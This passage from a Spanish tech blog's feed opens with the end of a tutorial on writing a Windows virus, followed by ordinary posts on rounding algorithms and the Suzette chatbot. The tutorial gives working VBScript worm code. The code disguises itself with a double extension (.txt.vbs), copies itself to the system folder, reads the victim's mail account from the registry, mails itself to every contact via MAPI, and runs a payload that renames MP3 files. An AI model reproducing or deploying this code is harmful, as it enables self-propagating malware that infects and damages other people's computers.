<p>El procedimiento <code>Sub Idioma ()</code> <strong>permite leer la clave de registro</strong> que necesitamos mediante el método <code>RegRead</code> de <code>WScript.Shell</code> y almacenarla en la variable local <code>LeerRegistro</code>. En función del valor que guarde <code>iCountry</code>, se asignará un <code>1</code>, un <code>-1</code> o un <code>0</code> a la variable global <code>IdiomaActual</code>, que después <strong>necesitaremos para cribar nuestra infección</strong>. En el caso de que <code>IdiomaActual</code> valga <code>1</code>, el <a href="http://en.wikipedia.org/wiki/Payload_(software)"><em>payload</em></a> (efecto visible del virus) será en castellano (se corresponde con <strong>los códigos locales de todos los países sudamericanos más España</strong>); en el caso de que <code>IdiomaActual</code> valga <code>1</code>, el <em>payload</em> será en inglés (<strong>Estados Unidos más Gran Bretaña</strong>); en el caso de <code>IdiomaActual</code> valga <code>0</code> (no se ha podido determinar el idioma), el <em>payload</em> será también en inglés, por si las moscas.    </p>
<p>Una vez obtengamos el idioma en el que está configurado el equipo que deseamos infectar, <strong>vamos a generar una copia del virus</strong> en el directorio del sistema para, desde ahí, enviarlo a los contactos de correo electrónico de la máquina víctima:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax4"></a><a style="wp-synhighlighter-title" href="#codesyntax4"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;"><span style="color: #000080;">Dim</span> FSO, ArchivoAdjunto<br />
<span style="color: #000080;">Set</span> FSO = CreateObject(&quot;Scripting.FileSystemObject&quot;) <br />
<span style="color: #000080;">Sub</span> CopiaMe ()<br />
  <span style="color: #000080;">Dim</span> DirectorioSistema<br />
  <span style="color: #000080;">Set</span> DirectorioSistema = FSO.GetSpecialFolder (1)<br />
  <span style="color: #000080;">Set</span> ArchivoAdjunto = FSO.GetFile (WScript.ScriptFullName)<br />
  <span style="color: #000080;">Select</span> <span style="color: #000080;">Case</span> IdiomaActual<br />
    <span style="color: #000080;">Case</span> 1<br />
      ArchivoAdjunto.Copy (DirectorioSistema &amp; &quot;\ayudame.txt.vbs&quot;)<br />
      ArchivoAdjunto = DirectorioSistema &amp; &quot;\ayudame.txt.vbs&quot;<br />
    <span style="color: #000080;">Case</span> 0,-1<br />
      ArchivoAdjunto.Copy (DirectorioSistema &amp; &quot;\helpme.txt.vbs&quot;)<br />
      ArchivoAdjunto = DirectorioSistema &amp; &quot;\helpme.txt.vbs&quot;<br />
  <span style="color: #000080;">End</span> <span style="color: #000080;">Select</span><br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span> </div></div></div><br />
Después de crear las variables globales pertinentes, generamos el objeto <code>FileSystemObject</code>, de la librería de tipos (localizada en el archivo <code>Scrrun.dll</code>), y lo almacenamos en la variable <code>FSO</code>. Este objeto <strong>posibilita el acceso a la gestión de carpetas y archivos</strong> (crear, copiar, mover, eliminar&#8230;).    </p>
<p>Ya dentro del procedimiento <code>Sub</code>, asignamos a <code>DirectorioSistema</code> el resultado de <code>GetSpecialFolder (1)</code>, esto es, la localización de los archivos de sistema (directorio por defecto <code>Windows\System</code>). Ese <code>1</code> indica carpeta de sistema; <code>0</code> sería el directorio general <code>Windows</code> y 2 el directorio temporal <code>Temp</code>.    </p>
<p>La propiedad <code>ScriptFullName</code> (sólo lectura) de <code>WScript</code> <strong>devuelve el nombre completo</strong> (ruta y nombre de archivo) <strong>del <em>script</em> actual</strong> mediante el método <code>GetFile</code> de <code>FileSystemObject</code>. Este nombre se guarda en la variable <code>ArchivoAdjunto</code>.    </p>
<p>Recurriendo a la variable global anterior <code>IdiomaActual</code>, copiamos (<code>Copy</code>) nuestro virus (<code>ArchivoAdjunto</code>) a la carpeta de sistema con un nombre en castellano (máquinas hispanoparlantes) o en inglés (máquinas anglosajonas).    </p>
<p><strong>El proceso de ocultación de este tipo de virus es bien sencillo</strong>, así como tremendamente ineficaz en según que configuraciones. Bien es sabida la capacidad de los entornos Windows para <strong>ocultar las extensiones de tipos de archivos conocidos</strong> (activada por defecto). Así pues, el truco consiste en nombrar el fichero con una cadena terminada en, por ejemplo, <code>.txt</code>, seguida de la extensión de rigor para el archivo de <em>script</em> (<code>.vbs</code>). De esta manera, y sólo si la característica de ocultación de extensiones está activada, <strong>el receptor del <em>malware</em> visualizará únicamente el nombre del archivo</strong> (en este caso <code>ayudame.txt</code> o <code>helpme.txt</code>), creyendo que lo que le remiten es un simple archivo de texto (¿nadie mira los iconos?). <strong>La sorpresa será mayúscula</strong> al momento de ejecutarlo.    </p>
<p>El siguiente paso es <strong>obtener los datos de la cuenta de correo electrónico</strong> de la víctima:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax5"></a><a style="wp-synhighlighter-title" href="#codesyntax5"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><span style="color: #000080;">Dim</span> ServidorSMTP, NombreCuenta, Correo <br />
<span style="color: #000080;">Sub</span> Cuenta()<br />
  <span style="color: #000080;">Dim</span> LeerRegistro, NuevaClave<br />
 WSc.RegWrite &quot;HKEY_CURRENT_USER\Software\Microsoft _<br />
    \Windows Script Host\Settings\Timeout&quot;,0,&quot;REG_DWORD&quot;<br />
  LeerRegistro = WSc.RegRead (&quot;HKEY_CURRENT_USER\Software\ _<br />
    Microsoft\Internet Account Manager\Default Mail Account&quot;)<br />
  NuevaClave = &quot;HKEY_CURRENT_USER\Software\Microsoft _<br />
    \Internet Account Manager\&quot; &amp; &quot;Accounts\&quot; &amp; LeerRegistro<br />
  ServidorSMTP = WSc.RegRead (NuevaClave &amp; &quot;\SMTP Server&quot;)<br />
  NombreCuenta = WSc.RegRead (NuevaClave &amp; &quot;\Account Name&quot;)<br />
  Correo = WSc.RegRead (NuevaClave &amp; &quot;\SMTP Email Address&quot;)<br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span> </div></div><br />
Mediante un acceso al registro igual al anterior, <strong>extraemos la clave que guarda el nombre de la cuenta de correo por defecto</strong> (<code>Mail Account</code>) y generamos una nueva cadena con otra clave de registro más el nombre de la cuenta. De esta nueva clave leemos y almacenamos la <strong>dirección del servidor SMTP</strong> de correo saliente, el <strong>nombre de la cuenta</strong> y la <strong>dirección de correo electrónico</strong>.    </p>
<p>Lo ideal ahora sería actuar sobre las reglas de mensaje del software cliente de correo electrónico, <strong>eliminándolas para que permitan el envío sin cortapisas</strong>. No nos detendremos en ello por no alargar más el asunto, pero el código no sería para nada complicado, teniendo en cuenta que <strong>se encuentran definidas y almacenadas también en el registro de Windows</strong> (las de <strong>Outlook Express 5</strong>, por ejemplo, en <code>HKEY_CURRENT_USER\Identities\<em>XXXX</em>\Software\Microsoft\Outlook Express\5.0\Rules\Mail</code>).    </p>
<p>Una vez recabados todos los datos, vamos a <strong>enviar nuestro virus por correo electrónico</strong>:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax6"></a><a style="wp-synhighlighter-title" href="#codesyntax6"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><span style="color: #000080;">Sub</span> Enviando ()<br />
  <span style="color: #000080;">Set</span> MAPISession = CreateObject (&quot;MSMAPI.mapiSession&quot;)<br />
  <span style="color: #000080;">Set</span> MAPIMessage = CreateObject (&quot;MSMAPI.mapiMessages&quot;) <br />
  <span style="color: #000080;">Dim</span> i<br />
  MAPISession.LogonUI = <span style="color: #000080;">False</span><br />
  MAPISession.DownloadMail = <span style="color: #000080;">False</span><br />
  MAPISession.SignOn <br />
 <span style="color: #000080;">Set</span> MAPIAddress = MAPISession.AddressList (0)<br />
  <span style="color: #000080;">For</span> i = 1 <span style="color: #000080;">To</span> MAPIAddress.AddressEntries.Count<br />
    MAPIAddress.AddressEntries (i)<br />
    MAPIMessage.SessionId = MAPISession.SessionId<br />
    MAPIMessage.Compose<br />
    MAPIMessage.RecipDisplayName = &quot;&lt;atacante@virus.soy&gt;&quot;<br />
    MAPIMessage.MsgSubject = &quot;Asunto del mensaje&quot;<br />
    MAPIMessage.MsgNoteText = &quot;Cuerpo del mensaje&quot;<br />
    MAPIMessage.AttachmentIndex = 0<br />
    MAPIMessage.AttachmentPathName = ArchivoAdjunto<br />
    MAPIMessage.AttachmentPosition = 0<br />
    MAPIMessage.Send (0)<br />
  <span style="color: #000080;">Next</span> i <br />
  MAPISession.SignOff<br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span> </div></div><br />
En este procedimiento <code>Sub</code>, simplemente nos servimos de <a href="http://en.wikipedia.org/wiki/MAPI">MAPI</a> (en castellano Interfaz de Programación de Aplicaciones de Mensajería) para <strong>enviar el correo con el archivo adjunto</strong>. Los métodos que proporciona MAPI son lo suficientemente claros y se explican por sí mismos (iniciar sesión, componer, rellenar datos, adjuntar archivos, enviar y cerrar sesión). El envío se remite <strong>a todos los contactos de la cuenta de correo</strong> en cuestión mediante un bucle que los recorre desde el primero hasta el último (<code>MAPIAddress.AddressEntries.Count</code>).    </p>
<p>Y, para finalizar, <strong>nos queda por programar el <em>payload</em> del virus</strong>, esto es, la acción visible (o no visible) que se ejecutará en la máquina infectada. El <em>payload</em> de un virus corre a cargo de la imaginación de cada uno. En función del hijoputismo con el que deseemos actuar, la acción final de un virus puede ir desde la simple molestia de <strong>mostrar un mensaje en pantalla</strong>, hasta la <strong>eliminación de archivos vitales</strong> para el usuario o para el sistema operativo (librerías <code>.DLL</code>, ficheros multimedia <code>.MP3</code> o <code>.AVI</code>, documentos <code>.DOC</code>, <code>.XLS</code> o <code>.MDB</code>, fotografías <code>.JPG</code>, etcétera).    </p>
<p>Nosotros, por aquello de no dar ideas, nos vamos a quedar a medio camino. Nuestro <em>payload</em> simplemente <strong>mostrará un mensaje en pantalla y renombrará todos aquellos ficheros en formato MP3</strong> que encuentre exclusivamente en el directorio raíz del disco duro principal. Así de sencillito:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax7"></a><a style="wp-synhighlighter-title" href="#codesyntax7"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;"><span style="color: #000080;">Sub</span> Payload ()<br />
  <span style="color: #000080;">Dim</span> Carpeta, ArchivoMP3<br />
  WScript.Echo &quot;Soy un virus malo malísimo.&quot; <br />
  <span style="color: #000080;">Set</span> Carpeta = FSO.GetFolder (&quot;C:\&quot;)<br />
  <span style="color: #000080;">For</span> <span style="color: #000080;">Each</span> ArchivoMP3 <span style="color: #000080;">in</span> Carpeta.Files<br />
    <span style="color: #000080;">If</span> Right (ArchivoMP3.Name, 3) = LCase (&quot;mp3&quot;) <span style="color: #000080;">Then</span><br />
      FSO.MoveFile ArchivoMP3.Path, Replace (&quot;C:\&quot; &amp; _<br />
        ArchivoMP3.Name, &quot;.mp3&quot;, &quot;.vir&quot;)<br />
    <span style="color: #000080;">End</span> <span style="color: #000080;">If</span><br />
  <span style="color: #000080;">Next</span><br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span> </div></div></div><br />
Mediante el método <code>GetFolder</code> de <code>FileSystemObject</code>, declarado anteriormente, asigno a la variable <code>Carpeta</code> la ruta especificada para, después, <strong>recorrer todos los archivos de esa ruta</strong> (<code>Carpeta.Files</code>) mediante un bucle (<code>For Each... Next</code>) comprobando si su extensión es la que busco (<code>Right (ArchivoMP3.Name, 3) = LCase ("mp3")</code>). En caso afirmativo, renombro (<code>FSO.MoveFile</code>) cada fichero, cambiando su extensión de <code>.MP3</code> a <code>.VIR</code>.    </p>
<p>La programación de virus al alcance de cualquiera <strong>es una realidad desde hace ya muchos años</strong>. Pero otra cosa también, <strong>la policía no es tonta</strong> y conocerá al cien por cien quién ha programado un virus, cuándo lo liberó en Internet y dónde apareció por primera vez. ¿Cómo lo hacen? De eso nos ocuparemos otro día. <strong>Hack the planet!</strong>, pero poquito y con cuidadín, que hacer el mal por hacer el mal <strong>es de bobos patológicos</strong>.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2011%2F03%2F21%2Fprogramando-facilmente-un-virus-para-windows%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Programando fácilmente un virus para Windows" data-url="http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Algoritmos de redondeo</title>
		<link>http://www.teknoplof.com/2010/11/03/algoritmos-de-redondeo/</link>
		<comments>http://www.teknoplof.com/2010/11/03/algoritmos-de-redondeo/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 15:50:51 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[algoritmo]]></category>
		<category><![CDATA[redondear]]></category>
		<category><![CDATA[redondeo]]></category>
		<category><![CDATA[redondeo bancario]]></category>
		<category><![CDATA[truncar]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=3611</guid>
		<description><![CDATA[¿Alguien dijo que redondear es cosa de niños? Eso nos puede parecer a los que nos limitamos a redondear, por ejemplo, una media de precios de artículos al céntimo más cercano, utilizando la archiconocida regla del cinco (si es mayor o igual a cinco se le suma uno, y si no se deja como está); [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_3612" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-3612" title="Redondeando ando" src="http://www.teknoplof.com/wp-content/uploads/2010/11/redon_0.jpg" alt="Redondeando ando" width="180" height="270" /><p class="wp-caption-text">Redondeando ando</p></div>¿Alguien dijo que <a href="http://es.wikipedia.org/wiki/Redondeo">redondear</a> es cosa de niños? Eso nos puede parecer a los que nos limitamos a redondear, por ejemplo, una media de precios de artículos al céntimo más cercano, <strong>utilizando la archiconocida regla del cinco</strong> (si es mayor o igual a cinco se le suma uno, y si no se deja como está); que no se llama regla del cinco, vaya, pero podría. Qué fácil parece todo para nuestras mentes decimalmente cuadriculadas, ¿verdad? Sin embargo, <strong>los ordenadores saben que el arte del redondeo es una ciencia mucho más compleja</strong> de lo que nos podemos imaginar.</p>
<p><strong>Redondear un valor significa reducir su precisión</strong>, ajustar a determinado número de decimales una serie de guarismos, perdiendo exactitud en el resultado final. Generalmente, <strong>esa precisión menguada no es significativa o la consideramos despreciable</strong>, y es que no podemos pretender que nuestros limitados cerebros humanos trabajen con infinitos decimales de concreción.</p>
<p>Un ejemplo muy sencillo podría ser, como comentábamos al principio, el efecto de redondear una cantidad que es media aritmética del precio en euros de varios artículos a la venta. Aunque los precios sólo cuenten con dos decimales (precisión de céntimo), <strong>es más que probable que su media dé como resultado un valor de muchos más decimales</strong> (o infinitos decimales, incluso). Un resultado de 5,18686 € no es manejable para nosotros, por lo que optamos por redondearlo a 5,19 € (ya que el tercer decimal es mayor que cinco). <strong>El valor es menos preciso</strong>, por lo que no es válido realmente, <strong>pero lo adoptamos como tal</strong>.</p>
<p>Pero <strong>este no es el único método de redondeo que existe</strong>, hay muchos más. Según el caso, debemos considerar utilizar <strong>un </strong><a href="http://es.wikipedia.org/wiki/Algoritmo"><strong>algoritmo</strong></a><strong> que minimice los efectos de la pérdida de precisión</strong>, especialmente en el caso de múltiples iteraciones de procesamiento. Esto es, los errores aumentan significativamente con el tiempo <strong>debido a la realización de operaciones de redondeo sobre datos previamente ya redondeados</strong>.</p>
<p><em>NOTA: Se utiliza el punto (<code>.</code>) como separador decimal en todos los ejemplos, cosa que no me hace ninguna gracia, pero es más legible para ti.</em></p>
<h1>Truncamiento</h1>
<p>Es el redondeo menos preciso. Consiste en <strong>truncar o cercenar el valor eliminando por completo la parte decimal</strong>, quedándonos exclusivamente con la parte entera. Así pues, <code>3.15</code> daría como resultado <code>3</code>, y <code>3.87</code> daría como resultado también <code>3</code>. Es el procedimiento que utiliza la función <code>Fix</code> de Visual Basic o el método <code>Math.Truncate</code> de los lenguajes de programación del entorno .NET Framework.</p>
<p>Es un ejemplo de <strong>redondeo simétrico</strong>, porque afecta al valor absoluto de números positivos y negativos de la misma manera. Así, el truncamiento de <code>-3.87</code> es <code>-3</code>.</p>
<h1>Redondeo al más cercano</h1>
<p>Es el algoritmo más intuitivo y <strong>el que más utilizamos en la vida real</strong>. En este caso valores como <code>3.1</code>, <code>3.3</code> ó <code>3.4</code> se redondean a la baja a <code>3</code>, mientras que valores tales como <code>3.6</code>, <code>3.8</code> ó <code>3.9</code> se redondean al alza a <code>4</code>. El problema está en qué hacer con valores del tipo <code>3.5</code>. De hecho, este <strong>redondeo al más cercano</strong> puede considerarse como un superconjunto de dos opciones complementarias denominadas <strong>redondeo hacia arriba</strong> y <strong>redondeo hacia abajo</strong>, que vemos a continuación.</p>
<h1>Redondeo hacia arriba (aritmético)</h1>
<p><strong>Conocido también como redondeo aritmético</strong>, es un subconjunto del anterior que asociamos al tipo de redondeo que nos enseñaron a utilizar en el colegio. En este caso, un valor de <code>3.5</code> se redondea a <code>4</code> (hacia arriba). Con este nivel de precisión, y para este ejemplo concreto, podemos considerar que hay 10 valores que comiencen con un <code>3</code> en el lugar más significativo (<code>3.0</code>, <code>3.1</code>, <code>3.2</code>, <code>3.3</code>, <code>3.4</code>, <code>3.5</code>, <code>3.6</code>, <code>3.7</code>, <code>3.8</code> y <code>3.9</code>). Sobre esta base, tiene sentido que <strong>cinco de los valores se redondeen a la baja y otros cinco al alza</strong>, repartiendo la exactitud equitativamente. De este modo, los cinco valores que van desde <code>3.0</code> hasta <code>3.4</code> se convierten en <code>3</code>, y los restantes cinco valores (de <code>3.5</code> a <code>3.9</code>) se redondean a <code>4</code>.</p>
<p>Este algoritmo puede implementarse con redondeo de <strong>forma simétrica</strong> (donde <code>-0.5</code> sería <code>-1</code>) o de <strong>forma asimétrica</strong> (donde <code>-0.5</code> se redondearía a <code>0</code>). Y es que algunos matemáticos y desarrolladores de sistemas consideran que redondear &#8220;hacia arriba&#8221;, por ejemplo, <code>-3.5</code> sería alcanzar un valor de <code>-4</code> (de forma simétrica a su análogo positivo). Empero, <strong>otros ingenieros especialistas dicen considerar &#8220;arriba&#8221; el infinito positivo</strong>, por lo que apuestan por un redondeo de <code>-3.5</code> a <code>-3</code>.</p>
<p>Es el caso de la función <code>REDONDEAR</code> (<code>ROUND</code>) de la hoja de cálculo Excel, de la función <code>Round</code> de SQL Server, de la función <code>roundn</code> de MATLAB (redondeos simétricos los tres) y del método <code>Math.Round</code> de Java (redondeo asimétrico, en este caso).</p>
<h1>Redondeo hacia abajo</h1>
<p>Subconjunto también de <strong>redondeo al más cercano</strong> y contrario al anterior, este algoritmo convertiría un valor de <code>3.5</code> en <code>3</code>. Así trabajan las funciones de Excel <code>REDONDEAR.MENOS</code> (<code>ROUNDDOWN</code>) y <code>MULTIPLO.INFERIOR</code> (<code>FLOOR</code>), y también la función <code>Fix</code> de VBA (Visual Basic para Aplicaciones).</p>
<p>El problema con los negativos <strong>es el mismo que el comentado en el punto anterior</strong> y se puede solventar de ambas maneras expuestas.</p>
<h1>Redondeo de equilibrio (alterno)</h1>
<p>Si necesitamos redondear multitud de cantidades que se van acumulando y siempre utilizamos el mismo redondeo en la misma dirección, es posible que, con el tiempo de proceso, <strong>esta tendencia nos lleve a errores importantes de cálculo</strong> a medida que las operaciones se llevan a cabo.</p>
<p>Una manera de subsanar esto es <strong>utilizar un redondeo alternado que proporcione equilibrio al conjunto</strong>, redondeando <strong>a veces hacia arriba y otras veces hacia abajo</strong>. Así pues, si en una operación hemos transformado <code>3.5</code> en un valor de <code>4</code>, en la siguiente que aparezca <code>4.5</code>, por ejemplo, redondearemos a la baja a <code>4</code>, ajustando de esta forma los posibles errores.</p>
<p>Pocos productos implementan este tipo de redondeo y, por norma general, <strong>hay que programarlo a mano</strong>.</p>
<h1>Redondeo del banquero</h1>
<p>El redondeo del banquero, o redondeo bancario, se llama así porque <strong>es el utilizado preferentemente en el mundo de las finanzas</strong>. Y sí, estás pensando bien, sólo les beneficia a ellos.</p>
<p>Es una variante del <strong>redondeo de equilibrio</strong> y propone, por convenio, <strong>ajustar siempre los valores medios </strong>(<code><em>x</em>.5</code>)<strong> al número par más cercano</strong>. De este modo, <code>1.5</code> y <code>2.5</code> serán siempre <code>2</code>, y <code>3.5</code> y <code>4.5</code> serán ambos redondeados a <code>4</code>. Por supuesto que estos son valores de ejemplo, en el mundo real hablamos de hacer los redondeos a dos decimales.</p>
<p><a href="http://www.consumer.es/web/es/economia_domestica/finanzas/2002/11/14/54175.php">Bancos y cajas de ahorro <strong>ingresan más de 270 millones de euros anuales</strong> a causa de este redondeo</a>. Las matemáticas al servicio del poder <span style="text-decoration: line-through;">económico</span>.</p>
<p>Funciones de Visual Basic y VBA como <code>CInt</code>, <code>CLng</code> o <code>Round</code> hacen uso del redondeo bancario para hacer sus cálculos.</p>
<h1>Redondeo aleatorio</h1>
<p>Incluso el redondeo bancario puede generar desviaciones de cálculo cuando la cuantía de operaciones es muy elevada. Para evitar eso se recurre al <strong>redondeo aleatorio</strong>, otra variante del <strong>redondeo de equilibrio</strong> que <strong>asigna la dirección de redondeo</strong> (al alza o a la baja) <strong>de una manera completamente aleatoria</strong>.</p>
<p>Tampoco se implementa de forma nativa por casi ningún lenguaje de programación o aplicación matemática.</p>
<h1>Redondeo impar</h1>
<p>Este algoritmo <strong>redondea un número hasta el entero impar más próximo</strong>. Así, <code>3.5</code> será redondeado a <code>3</code> y <code>4.5</code> lo será a <code>5</code>. Para los números negativos funciona de igual manera.</p>
<p>Es un método que se utiliza escasamente porque <strong>es incapaz de redondear a cero</strong> (<code>0</code>), atributo imprescindible para los algoritmos de redondeo. Lo emplea la función <code>REDONDEA.IMPAR</code> (<code>ODD</code>) de Excel.</p>
<p>Redondeos para todos los gustos y manías. En función de la aplicación que estemos desarrollando <strong>será necesario manejar un tipo de algoritmo u otro</strong>. Evidentemente, no es lo mismo un desarrollo simple de facturación o TPV, donde el más sencillo de los redondeos puede servirnos, que uno de financias o, si me apuras, de CAD, en donde <strong>la máxima precisión se antoja imprescindible</strong>. El programador habrá de decidir, en cualquier caso, <strong>qué algoritmo de redondeo utilizar</strong> para conseguir sus objetivos.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F11%2F03%2Falgoritmos-de-redondeo%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/11/03/algoritmos-de-redondeo/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Algoritmos de redondeo" data-url="http://www.teknoplof.com/2010/11/03/algoritmos-de-redondeo/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/11/03/algoritmos-de-redondeo/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Suzette, el chatbot ganador del Premio Loebner 2010</title>
		<link>http://www.teknoplof.com/2010/10/27/suzette-el-chatbot-ganador-del-premio-loebner-2010/</link>
		<comments>http://www.teknoplof.com/2010/10/27/suzette-el-chatbot-ganador-del-premio-loebner-2010/#comments</comments>
		<pubDate>Wed, 27 Oct 2010 11:02:40 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Tecnologías varias]]></category>
		<category><![CDATA[bruce wilcox]]></category>
		<category><![CDATA[chatbot]]></category>
		<category><![CDATA[premio loebner]]></category>
		<category><![CDATA[suzette]]></category>
		<category><![CDATA[turing]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=3568</guid>
		<description><![CDATA[El Premio Loebner es una competición de carácter anual en la que una serie de programas tipo chatbot (un software capaz de simular una conversación con un ser humano) se enfrenta a preguntas de jueces de carne y hueso. El objetivo es determinar qué software está mejor programado, evidentemente el que mejor consiga engañar a los jueces.  [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_3569" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-3569" title="Medalla Loebner" src="http://www.teknoplof.com/wp-content/uploads/2010/10/loebner_0.png" alt="Medalla Loebner" width="180" height="180" /><p class="wp-caption-text">Medalla Loebner</p></div>El <a href="http://es.wikipedia.org/wiki/Premio_Loebner">Premio Loebner</a> es una <strong>competición de carácter anual</strong> en la que una serie de programas tipo <a href="http://es.wikipedia.org/wiki/Bot_conversacional"><em>chatbot</em></a> (un software capaz de simular una conversación con un ser humano) se enfrenta a preguntas de jueces de carne y hueso. El objetivo es determinar qué software está mejor programado, <strong>evidentemente el que mejor consiga engañar a los jueces</strong>. </p>
<p>Las reglas son sencillas. <strong>Dos jueces entablan una conversación vía chat con un <em>chatbot</em> y un humano simultáneamente</strong>. La charla dura 25 minutos como máximo, y en ese tiempo deben discernir quién es la persona real y quién el programa de ordenador. Parece fácil, pero este año han sucumbido al interlocutor digital. </p>
<p>Esta competición <strong>se basa en el archiconocido </strong><a href="http://es.wikipedia.org/wiki/Test_de_Turing"><strong>Test de Turing</strong></a>, ingeniado por el matemático y filósofo <a href="http://es.wikipedia.org/wiki/Alan_Mathison_Turing">Alan Turing</a>, considerado uno de los padres de la ciencia de la computación. El Test de Turing pretende <strong>demostrar la supuesta inteligencia de una máquina</strong>. Se supone un juez situado en una habitación y una máquina y un ser humano en otra. El juez <strong>debe descubrir cuál es el ser humano y cuál es la máquina</strong>, estándoles a los dos permitido mentir al contestar (por escrito) las preguntas que el juez les hace. La tesis de Turing es que si ambos jugadores son suficientemente hábiles, el juez no podrá distinguir quién es el ser humano y quién la máquina. </p>
<p>En este caso, en el Premio Loebner se utilizan dos jueces, como decíamos al principio. Las preguntas están destinadas a cubrir cuatro categorías: <strong>el tiempo</strong> (por ejemplo, &#8220;¿qué hora es?&#8221;); <strong>las cosas</strong> (&#8220;¿qué es un martillo?&#8221;); <strong>las relaciones</strong> (&#8220;¿qué es más grande, una uva o un pomelo?&#8221;); y <strong>la memoria</strong> (&#8220;¿cuál es el nombre de la persona de la que estábamos hablando antes?&#8221;, por ejemplo). </p>
<p>El ganador de <a href="http://loebner.net/Prizef/2010_Contest/Loebner_Prize_Rules_2010.html">este año</a>, <strong>un chatbot llamado Suzette y creado por </strong><a href="http://en.wikipedia.org/wiki/Bruce_Wilcox"><strong>Bruce Wilcox</strong></a> (experto en inteligencia artificial), ha engañado con éxito a los jueces humanos durante un buen rato, y ha conseguido un premio de 3.000 $ para su desarrollador. Otros programas en ediciones anteriores del concurso han conseguido falsear su condición ante más de un juez, pero el período de conversación fue mucho más corto (de sólo cinco minutos). <strong>Ningún software había logrado burlar la inteligencia humana durante casi media hora</strong>. </p>
<p>El robot Suzette está programado en <a href="http://es.wikipedia.org/wiki/Lisp">Lisp</a> y preparado para ser capaz de hacer frente a una serie de temas, cada uno de ellos con <strong>reglas y respuestas asociadas</strong>. Además, <strong>intenta en todo momento llevar la conversación hacia los asuntos que mejor conoce</strong>. Su creador ha dicho de él que &#8220;Suzette ha sido desde siempre orientada a &#8216;ser humana&#8217;, y no ha considerarse a sí mismo como un <em>chatbot</em>&#8220;. </p>
<p>La revista internacional de divulgación científica New Scientist <a href="http://www.newscientist.com/article/dn19643-prizewinning-chatbot-steers-the-conversation.html?DCMP=OTC-rss&amp;nsref=online-news">consiguió hablar con Suzzete</a> después de ganar el premio. Esta fue su conversación (la verdad es que a mí, particularmente, <strong>no me parece muy inteligente que digamos</strong>): </p>
